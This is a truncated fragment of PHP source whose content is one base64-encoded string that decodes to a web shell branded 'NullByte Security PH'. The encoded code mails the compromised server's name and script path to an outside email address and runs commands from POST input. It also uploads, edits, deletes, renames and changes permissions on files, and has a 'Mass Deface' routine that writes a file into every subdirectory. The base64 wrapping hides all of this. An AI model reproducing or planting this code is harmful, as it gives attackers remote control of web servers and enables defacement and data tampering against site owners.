".base64_decode("PD9waHAKJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Cm1haWwgKCcnLCAnaXAgb2YgdmlzaXRvcicsICRpcCk7CgoKJHRtcCA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLiJcbiI7IAptYWlsKCdqZWZmcmVlenl0QGdtYWlsLmNvbScsICdyb290JywgJHRtcCk7Cj8+Cgo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+CjxtZXRhIGh0dHAtZXF1aXY9ImNhY2hlLWNvbnRyb2wiIGNvbnRlbnQ9Im1heC1hZ2U9MCIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iY2FjaGUtY29udHJvbCIgY29udGVudD0ibm8tY2FjaGUiIC8+CjxtZXRhIGh0dHAtZXF1aXY9ImV4cGlyZXMiIGNvbnRlbnQ9IjAiIC8+CjxtZXRhIGh0dHAtZXF1aXY9ImV4cGlyZXMiIGNvbnRlbnQ9IlR1ZSwgMDEgSmFuIDE5ODAgMTowMDowMCBHTVQiIC8+CjxtZXRhIGh0dHAtZXF1aXY9InByYWdtYSIgY29udGVudD0ibm8tY2FjaGUiIC8+CjxoZWFkPgo8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHBzOi8vc2NvbnRlbnQtc2luNi0zLnh4LmZiY2RuLm5ldC92L3QzOS4zMDgwOC02LzM1MjI4MjE1NF8xNDM0OTc0NTEwMzc3MDI1XzQ2NTg4MTc4MDM4NzgwNDI0OTNfbi5qcGc/X25jX2NhdD0xMDQmY2NiPTEtNyZfbmNfc2lkPTA5Y2JmZSZfbmNfb2hjPURsbWxoTEtNdFZBQVhfNHg5dHYmX25jX2h0PXNjb250ZW50LXNpbjYtMy54eCZvaD0wMF9BZkNtTlRLZHYzRUQtWk82cjZ6RHppMG1tMlhpQzNTRUdoX1A0ZlVjSC1DV3ZBJm9lPTY0ODU0RDBGIiB0eXBlPSJpbWFnZS9qcGciPiAKPGJvZHkgYmdjb2xvcj0iYmxhY2siPjxjZW50ZXI+CgkKCgo8bGluayBocmVmPSIiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9qc29uX2RlY29kZSI+Cjx0aXRsZT5+WyBOdWxsQnl0ZSBTZWN1cml0eSBQSCBdfjwvdGl0bGU+CjxzdHlsZT4KCQpib2R5ewpiYWNrZ3JvdW5kLWNvbG91cjogeWVsbG93Owp9CiNjb250ZW50IHRyOmhvdmVyewpiYWNrZ3JvdW5kLWNvbG9yOiByZWQ7CnRleHQtc2hhZG93OjBweCAwcHggMTJweCAjZmZmOwp9CiNkZWZhY2Vyewp3aWR0aDozMDBweDsKYmFja2dyb3VuZDpibGFjazsKYm9yZGVyOnNvbGlkIDJweCByZWQ7CmNvbG9yOmxpbWU7Cn0KI2RvbWFpbnN7CmJhY2tncm91bmQ6YmxhY2s7CmJvcmRlcjoycHggIzE1ZDZjOCBzb2xpZDsKY29sb3I6IGJsdWU7Cn0KaW5wdXR7CgkKfQojY29udGVudCAuZmlyc3R7CmJhY2tncm91bmQtY29sb3VyOiByZWQ7Cn0KdGFibGV7CmJvcmRlcjogMnB4ICMxNWQ2Yzggc29saWQ7Cn0KdGV4dGFyZWF7CndpZHRoOiA4MCU7CmhlaWdodDogODAlOwp9Ci5lcnJvcnsKCQkJY29sb3I6IHJlZDsKCQkJZm9udC1zaXplOiAzMDsKfQouc3VjY2Vzc3sKCQkJY29sb3I6ICMwMEZGNDk7CgkJCWZvbnQtc2l6ZTogMzA7Cn0KYXsKY29sb3I6cmVkOwp0ZXh0LWRlY29yYXRpb246IGljZWxhbmQ7Cn0KYTpob3ZlcnsKY29sb3I6cmVkOwp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsKfQppbnB1dCxzZWxlY3QsdGV4dGFyZWEsYnV0dG9uewpib3JkZXI6IDJweCAjMTVkNmM4IHNvbGlkOwotbW96LWJvcmRlci1yYWRpdXM6IDVweDsKLXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDsKYm9yZGVyLXJhZGl1czo1cHg7Cn0KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KICAgICA8Y2VudGVyPjxicj48YnI+CiAgICAJPGEgaHJlZj0iPD89JF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iPjxpbWcgYm9yZGVyPScwJyBhbHQ9IlVIUCBMb2dvIiBzcmM9J2h0dHBzOi8vc2NvbnRlbnQtc2luNi0zLnh4LmZiY2RuLm5ldC92L3QzOS4zMDgwOC02LzM1MjI4MjE1NF8xNDM0OTc0NTEwMzc3MDI1XzQ2NTg4MTc4MDM4NzgwNDI0OTNfbi5qcGc/X25jX2NhdD0xMDQmY2NiPTEtNyZfbmNfc2lkPTA5Y2JmZSZfbmNfb2hjPURsbWxoTEtNdFZBQVhfNHg5dHYmX25jX2h0PXNjb250ZW50LXNpbjYtMy54eCZvaD0wMF9BZkNtTlRLZHYzRUQtWk82cjZ6RHppMG1tMlhpQzNTRUdoX1A0ZlVjSC1DV3ZBJm9lPTY0ODU0RDBGJyBoZWlnaHQ9JzI5MCcgd2lkdGg9JzMwMCc+PC9hPgogICAgICA8L2NlbnRlcj4KICAgPGgzPjxmb250IGNvbG9yPSJ3aGl0ZSI+TGlldXRlbmFudCBVbmlYPC9oMz4KICAgIDxkaXYgY2xhc3M9ImdyZWV0aW5ncyI+CiAgPCEhIS0tPGEgaHJlZj0iPD89JF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iPiAqIFByaXZhdGUgVG9vbCAqIDwvYT4KIDwvZGl2Pjxicj4KICAgICAgIDxicj48YnI+CiAgICAKICAgPGJyPgogPGZvbnQgc2l6ZT0iNSI+PGEgaHJlZj0iP21hc3N6b25lIj5NYXNzIFpvbmUgLSBIPC9hPiB+IDxhIGhyZWY9Ij9tYXNzZGVmYWNlIj5NYXNzIERlZmFjZTwvYT4gfiA8YSBocmVmPSI/bWFzc2JhY2tkb29yIj5NYXNzIEJhY2tkb29yPC9hPiA8L2ZvbnQ+Cjw/cGhwCiRub3RhdmFpbCA9ICI8Zm9udCBjb2xvcj0ncmVkJz48aDE+QXZhaWxhYmxlIFNvb24hPC9oMT48L2ZvbnQ+Cjxicj4KPGZvbnQgY29sb3I9J3JlZCcgc2l6ZT0nNic+CkZvciBtb3JlIHVwZGF0ZXMgZG8gcG0gbWUuCjxicj7DsMKfwpHCh8Owwp/Cj8K7w7DCn8KRwofDsMKfwo/Cu8Owwp/CkcKHw7DCn8KPwrvDsMKfwpHCh8Owwp/Cj8K7CjwvZm9udD4KPGJyPgo8YnV0dG9uPjxhIGhyZWY9J2h0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9qb2huZGVsYWNydXpjdyc+Q29udGFjdDwvYT48L2J1dHRvbj4KIjsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKXsKCSRjbWQgPSAkX1BPU1RbJ2NtZCddOwoJZXhlYygkY21kLCRiKTsKCSRzdGF0dXMgPSAiU3VjY2VzcyEiOwp9CmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKJHBhdGggPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKJHBhdGggPSBnZXRjd2QoKTsKfQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOwppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApewoJJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CgkkZmRpciA9ICRfUE9TVFsnZGlyJ107CgkkdG90YWwgPSAkX1BPU1RbJ3BhdGNoJ10uJy8nLiRmbmFtZTsKCWlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJHRvdGFsKSl7CgkJJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CgkvLwllY2hvICRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXTsKCi8vCQkkcnVucyA9ICRwYXRoLicvJy4kZm5hbWU7CgkJJHN1Y2Nlc3MgPSAiVXBsb2FkZWQhIjsKCQkkc3RhdHVzID0gJHN1Y2Nlc3M7CgkJfWVsc2V7CgkJJGZhaWxlZCA9ICdFcnJvciEnOwoJCSRzdGF0dXMgPSAkZmFpbGVkOwoJfQp9CgplY2hvICc8dGFibGUgd2lkdGg9Ijc3MCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgo8dHI+PHRkPlBhdGggOiAnOwpmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewppZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKJGEgPSB0cnVlOwplY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7CmNvbnRpbnVlOwp9CmlmKCRwYXQgPT0gJycpIGNvbnRpbnVlOwplY2hvICc8YSBocmVmPSI/cGF0aD0nOwpmb3IoJGk9MDskaTw9JGlkOyRpKyspewplY2hvICIkcGF0aHNbJGldIjsKaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKfQplY2hvICciPicuJHBhdC4nPC9hPi8nOwppZihmdW5jdGlvbl9leGlzdHMoJ29wZW5kaXInKSkgewoJaWYoJG9wZW5kaXIgPSBvcGVuZGlyKCRwYXRoKSkgewoJCXdoaWxlKCgkcmVhZGRpciA9IHJlYWRkaXIoJG9wZW5kaXIpKSAhPT0gZmFsc2UpIHsKCQkJJHNjYW5kaXJbXSA9ICRyZWFkZGlyOwoJCX0KCQljbG9zZWRpcigkb3BlbmRpcik7Cgl9Cglzb3J0KCRzY2FuZGlyKTsKfSBlbHNlIHsKCQkKCSRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7Cn0KfQoKPz4KPD9waHAKaWYoJF9QT1NUWyJwYXRoIl0gJiYgJF9QT1NUWyJjaG1vZHMiXSl7CgkkY2htb2RzID0gJF9QT1NUWyJjaG1vZHMiXTsKCWNobW9kKCRfUE9TVFsicGF0aCJdLCAkY2htb2RzKTsKCSRzdGF0dXMgPSAiUGVybWlzc2lvbiBDaGFuZ2VkISI7Cn0KaWYoJF9QT1NUWyduZGlyJ10gJiYgJF9QT1NUWydwYXRoJ10pewokbmRpciA9ICRfUE9TVFsibmRpciJdOwpta2RpcigkX1BPU1RbJ3BhdGgnXS4nLycuJG5kaXIpOwplY2hvICI8ZGl2IGNsYXNzPSdzdWNjZXNzJz4iOwokc3RhdHVzID0gIkRpcmVjdG9yeSBTYXZlZCEiOwplY2hvICI8L2Rpdj4iOwp9CmlmKCRfUE9TVFsnY29kZSddICYmICRfUE9TVFsncGF0aCddKXsKJGEgPSAkX1BPU1RbJ2NvZGUnXTsKJGZpbGUgPSBAZm9wZW4oJF9QT1NUWydwYXRoJ10uJy8nLiRfUE9TVFsnZmlsZSddLCd3Jyk7CkBmd3JpdGUoJGZpbGUsJGEpOyBAZmNsb3NlKCRmaWxlKTsKZWNobyAiPGRpdiBjbGFzcz0nc3VjY2Vzcyc+IjsKJHN0YXR1cyA9ICJGaWxlIENyZWF0ZWQhIjsKZWNobyAiPC9kaXY+IjsKfWVsc2V7Cn0KCmlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSA9PSAnZGVsZXRlJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKZWNobyAiPGRpdiBjbGFzcz0nc3VjY2Vzcyc+IjsKJHN0YXR1cyA9ICdEZWxldGVkISc7CmVjaG8gIjwvZGl2PiI7Cn1lbHNlewplY2hvICI8ZGl2IGNsYXNzPSdlcnJvcic+IjsKJHN0YXR1cyA9ICJFcnJvciEiOwplY2hvICI8L2Rpdj4iOwp9Cn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gIjxkaXYgY2xhc3M9J3N1Y2Nlc3MnPiI7CiRzdGF0dXMgPSAnRGVsZXRlZCEnOwplY2hvICI8L2Rpdj4iOwp9ZWxzZXsKZWNobyAiPGRpdiBjbGFzcz0nZXJyb3InPiI7CiRzdGF0dXMgPSAnRXJyb3IhJzsKZWNobyAiPC9kaXY+IjsKfQp9Cn0KCmlmKGlzc2V0KCRfUE9TVFsncGF0aCddKSAmJiBpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmV3bmFtZSddKSl7CiRzdGF0dXMgPSAnUmVuYW1lZCEgJzsKfWVsc2V7CiRzdGF0dXMgPSAnRXJyb3IhJzsKfX0KaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpewokZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKZWNobyAiPGRpdiBjbGFzcz0nc3VjY2Vzcyc+IjsKJHN0YXR1cyA9ICdTYXZlZCEnOwplY2hvICI8L2Rpdj4iOwp9ZWxzZXsKZWNobyAiPGRpdiBjbGFzPSdlcnJvcic+IjsKJHN0YXR1cyA9ICdFcnJvciEnOwplY2hvICI8L2Rpdj4iOwp9CmZjbG9zZSgkZnApOwp9Pz4KPD9waHAKaWYoJHN0YXR1cyA9PT0gIkVycm9yISIpewoJaWYoIWVtcHR5KCRzdGF0dXMpKXsKZWNobyAiPGRpdiBjbGFzcz0nZXJyb3InPiI7CmVjaG8gIlN0YXR1czogJHN0YXR1cyI7CmVjaG8gIjwvZGl2PiI7Cn0KfWVsc2V7CglpZighZW1wdHkoJHN0YXR1cykpewplY2hvICI8ZGl2IGNsYXNzPSdzdWNjZXNzJz4iOwplY2hvICJTdGF0dXM6ICRzdGF0dXMiOwplY2hvICI8L2Rpdj4iOwp9Cn0KZWNobyAiPC9wPiI7CmlmKGlzc2V0KCRfUE9TVFsicGF0aCJdKSAmJiAkX1BPU1RbIm5ld2YiXSA9PSAiZm9sZGVyIil7CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CjxsYWJlbD5EaXJlY3RvcnkgTmFtZTogPC9sYWJlbD4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGguJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZGlyIi8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNhdmUiIHZhbHVlPSJTYXZlISIvPgo8L2Zvcm0+JzsKCX0KaWYoJF9QT1NUWyJwYXRoIl0gJiYgJF9QT1NUWyJvcHQiXSA9PSAiY2htb2QiKXsKCSRjaG1vZHBlciA9ICRfUE9TVFsiY2htb2RwZXIiXTsKCWVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CjxsYWJlbD5DaG1vZDogPC9sYWJlbD4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGguJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjaG1vZHMiIHZhbHVlPSInLiRjaG1vZHBlci4nIi8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNhdmUiIHZhbHVlPSJTYXZlISIvPgo8L2Zvcm0+JzsKCQp9CmlmKCRfUE9TVFsnb3B0J10gPT0gJ3JlbmFtZScpewppZigkX1BPU1RbIm5hbWUiXSA9PSAiIil7CiRfUE9TVFsibmFtZSJdID0gJF9QT1NUWyJuZXduYW1lIl07Cn0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgombmJzcDsKPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUiIC8+CjwvZm9ybT4nOwplY2hvICI8YnIvPiI7Cn1lbHNle30KCgoKPz4KPC90ZD48L3RyPjx0cj48dGQ+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSI8Pz0kcGF0aDs/PiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9Ijw/PSRkaXI7Pz4iPgo8aW5wdXQgdHlwZT0iZmlsZSIgY2xhc3M9IiIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPgombmJzcDsKPGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4KPD8kc3RhdHVzOz8+Cgo8L3RkPjwvdHI+PC90YWJsZT48YnIvPgo8P3BocAppZihpc3NldCgkX1BPU1RbInBhdGgiXSkgJiYgJF9QT1NUWyJuZXdmIl0gPT0gImZpbGUiKXsKCWVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+CjxsYWJlbCBmb3I9ImlucHV0Ij5GaWxlbmFtZTogPC9sYWJlbD4KPGlucHV0IGlkPSJpbnB1dCJ0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBwbGFjZWhvbGRlcj0iIj4KPGJyPgo8YnI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRoLiciPgo8dGV4dGFyZWEgY29scz04MCBjbGFzcz0idGV4dGFyZWEiIHJvd3M9MjAgbmFtZT0iY29kZSIgcGxhY2Vob2xkZXI9IiI+CjwvdGV4dGFyZWE+PGJyPiA8aW5wdXQgdHlwZT0ic3VibWl0IiAgbmFtZT0iU2F2ZSIgdmFsdWU9IlNhdmUiPgo8L2Zvcm0+JzsKfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CiRmbmFtZSA9ICRfUE9TVFsibmFtZSJdOwplY2hvICI8YnIvPgpGaWxlbmFtZTogPGZvbnQgY29sb3I9J3JlZCc+JGZuYW1lPC9mb250Pgo8L2JyPjxici8+CjxjZW50ZXI+Cjxmb3JtIG1ldGhvZD0nUE9TVCc+CjxpbnB1dCBuYW1lPSduYW1lJyB0eXBlPSdoaWRkZW4nIHZhbHVlPSckZm5hbWUnLz4iOwplY2hvICcKPHRleHRhcmVhIGNvbHM9ODAgY2xhc3M9InRleHRhcmVhIiByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGJyLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUiIC8+CjwvZm9ybT4nOwplY2hvICI8YnIvPjwvY2VudGVyPiI7Cn1lbHNlaWYoaXNzZXQoJF9HRVRbIm1hc3N6b25lIl0pKXsKCWVjaG8gJG5vdGF2YWlsOwp9ZWxzZWlmKGlzc2V0KCRfR0VUWyJtYXNzZGVmYWNlIl0pKXsKZWNobyAiPGNlbnRlcj48Zm9ybSBtZXRob2Q9J1BPU1QnPiI7CmVjaG8gIjxoMT48Zm9udCBjb2xvcj0ncmVkJz5NYXNzIERlZmFjZTwvZm9udD48L2gxPiI7CmVjaG8gIjxmb250IGNvbG9yPSd3aGl0ZSc+VGFyZ2V0IEZvbGRlcjwvZm9udD48YnI+CjxpbnB1dCBjb2xzPScxMCcgcm93cz0nMTAnIHR5cGU9J3RleHQnIHN0eWxlPSdjb2xvcjpsaW1lO2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDsnIG5hbWU9J2Jhc2VfZGlyJyB2YWx1ZT0nIi5nZXRjd2QgKCkuIic+PGJyPjxicj4iOwplY2hvICI8Zm9udCBjb2xvcj0nd2hpdGUnPk5hbWUgb2YgRmlsZTwvZm9udD48YnI+PGlucHV0IGNvbHM9JzEwJyByb3dzPScxMCcgdHlwZT0ndGV4dCcgc3R5bGU9J2NvbG9yOmxpbWU7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwJyBuYW1lPSdhbmRlbGEnIHZhbHVlPSdtaWtleS50eHQnPjxicj48YnI+IjsKZWNobyAiPGZvbnQgY29sb3I9J3doaXRlJz5TY3JpcHQgRGVmYWNlPC9mb250Pjxicj48dGV4dGFyZWEgY29scz0nMjUnIHJvd3M9JzgnIHN0eWxlPSdjb2xvcjpsaW1lO2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDsnIG5hbWU9J2luZGV4Jz48L3RleHRhcmVhPjxicj4iOwplY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nTWFzcyAhISEnPjwvZm9ybT48L2NlbnRlcj4iOwogCmlmIChpc3NldCAoJF9QT1NUWydiYXNlX2RpciddKSkKewogICAgICAgIGlmICghZmlsZV9leGlzdHMgKCRfUE9TVFsnYmFzZV9kaXInXSkpCiAgICAgICAgICAgICAgICBkaWUgKCRfUE9TVFsnYmFzZV9kaXInXS4iIE5vdCBGb3VuZCAhPGJyPiIpOwogCiAgICAgICAgaWYgKCFpc19kaXIgKCRfUE9TVFsnYmFzZV9kaXInXSkpCiAgICAgICAgICAgICAgICBkaWUgKCRfUE9TVFsnYmFzZV9kaXInXS4iIElzIE5vdCBBIERpcmVjdG9yeSAhPGJyPiIpOwogCiAgICAgICAgQGNoZGlyICgkX1BPU1RbJ2Jhc2VfZGlyJ10pIG9yIGRpZSAoIkNhbm5vdCBPcGVuIERpcmVjdG9yeSIpOwogCiAgICAgICAgJGZpbGVzID0gQHNjYW5kaXIgKCRfUE9TVFsnYmFzZV9kaXInXSkgb3IgZGllICgiRnVjayB1IC1fLSA8YnI+Iik7CiAKICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpOgogICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICIuIiAmJiAkZmlsZSAhPSAiLi4iICYmIEBmaWxldHlwZSAoJGZpbGUpID09ICJkaXIiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkaW5kZXggPSBnZXRjd2QgKCkuIi8iLiRmaWxlLiIvIi4kX1BPU1RbJ2FuZGVsYSddOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMgKCRpbmRleCwgJF9QT1NUWydpbmRleCddKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aHIgY29sb3I9J2xpbWUnPj4+IDxmb250IGNvbG9yPSdsaW1lJz4kaW5kZXgmbmJzcCZuYnNwJm5ic3AmbmJzcDwvZm9udD48Zm9udCBjb2xvcj0nbGltZSc+KCYjMTAwMDM7KTwvZm9udD4iOwogICAgICAgICAgICAgICAgfQogICAgICAgIGVuZGZvcmVhY2g7Cn0KfWVsc2VpZihpc3NldCgkX0dFVFsibWFzc2JhY2tkb29yIl0pKXsKZWNobyAkbm90YXZhaWw7Cn1lbHNlewo/Pgo8ZGl2IGlkPSJjb250ZW50Ij48dGFibGUgd2lkdGg9IjgwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgo8dHIgY2xhc3M9ImZpcnN0Ij4KPHRkPjxjZW50ZXI+WytdIEZpbGVzL0ZvbGRlciBbK108L1NDQT48L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj5bK10gU2l6ZSBbK108L1NDQT48L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj5bK10gUGVybWlzc2lvbiBbK108L3BlbGxlcj48L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj5bK10gTW9kaWZ5IFsrXTwvU0NBPjwvY2VudGVyPjwvdGQ+CjwvdHI+PHRyPgoJCjw/cGhwCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj0nPyRwYXRoJz48L2E+PC90ZD48Y2VudGVyPjx0ZD48Y2VudGVyPi0tPC9jZW50ZXI+PC90ZD4KPHRkPjxjZW50ZXI+LS08L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3BhdGgnIHZhbHVlPSckcGF0aCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nbmV3ZicgdmFsdWU9J2ZpbGUnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdOZXdGaWxlJz48L2Zvcm0+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ncGF0aCcgdmFsdWU9JyRwYXRoJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nbmV3ZicgdmFsdWU9J2ZvbGRlcic+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J05ld0RpcmVjdG9yeSc+CjwvZm9ybT48L2NlbnRlcj48L3RkPgo8L3RyPiI7Cgpmb3JlYWNoKGFycmF5X3VuaXF1ZSgkc2NhbmRpcikgYXMgJGRpcil7CmlmKCFpc19kaXIoJHBhdGguJy8nLiRkaXIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoJHBhdGguJy8nLiRkaXIpLzEwMjQ7CiRzaXplID0gcm91bmQoJHNpemUsMyk7CmlmKCRzaXplID49IDEwMjQpewokc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQsMikuJyBNQic7Cn1lbHNlewokc2l6ZSA9ICRzaXplLicgS0InOwovL2VjaG8gJHNpemU7Cn0KZWNobyAnCjx0ZD48YSBocmVmPSI/cGF0aD0nLiRwYXRoLicvJy4kZGlyLiciPicuJGRpci4nPC9hPjwvdGQ+CjxjZW50ZXI+JzsKaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIiBzaXplPSIyIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9IndoaXRlIiBzaXplPSIyIj4nOwovL2VjaG8gcGVybXMoJHBhdGguJy8nLiRkaXIpOwppZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikgfHwgIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPC9mb250Pic7CgplY2hvJwo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj0id2hpdGUiPi0tPC9mb250PjwvY2VudGVyPjwvdGQ+JzsKJGZwZXJtaSA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygiJHBhdGgvJGZpbGUiKSksIC00KTsKZWNobyIKPHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9J3llbGxvdyc+JGZwZXJtaTwvZm9udD48L2NlbnRlcj48L3RkPgoiOwplY2hvJwo8dGQ+PGNlbnRlcj4KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgo8c2VsZWN0IG5hbWU9Im9wdCI+CjxvcHRpb24gdmFsdWU9IiI+IE1lbnUgPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImRlbGV0ZSI+WytdIERlbGV0ZSBbK108L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPlsrXSBDaG1vZCBbK108L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0icmVuYW1lIj5bK10gUmVuYW1lIFsrXTwvb3B0aW9uPgo8L3NlbGVjdD4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImRpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kcGVyIiB2YWx1ZT0iJy4kZnBlcm1pLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZGlyLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuI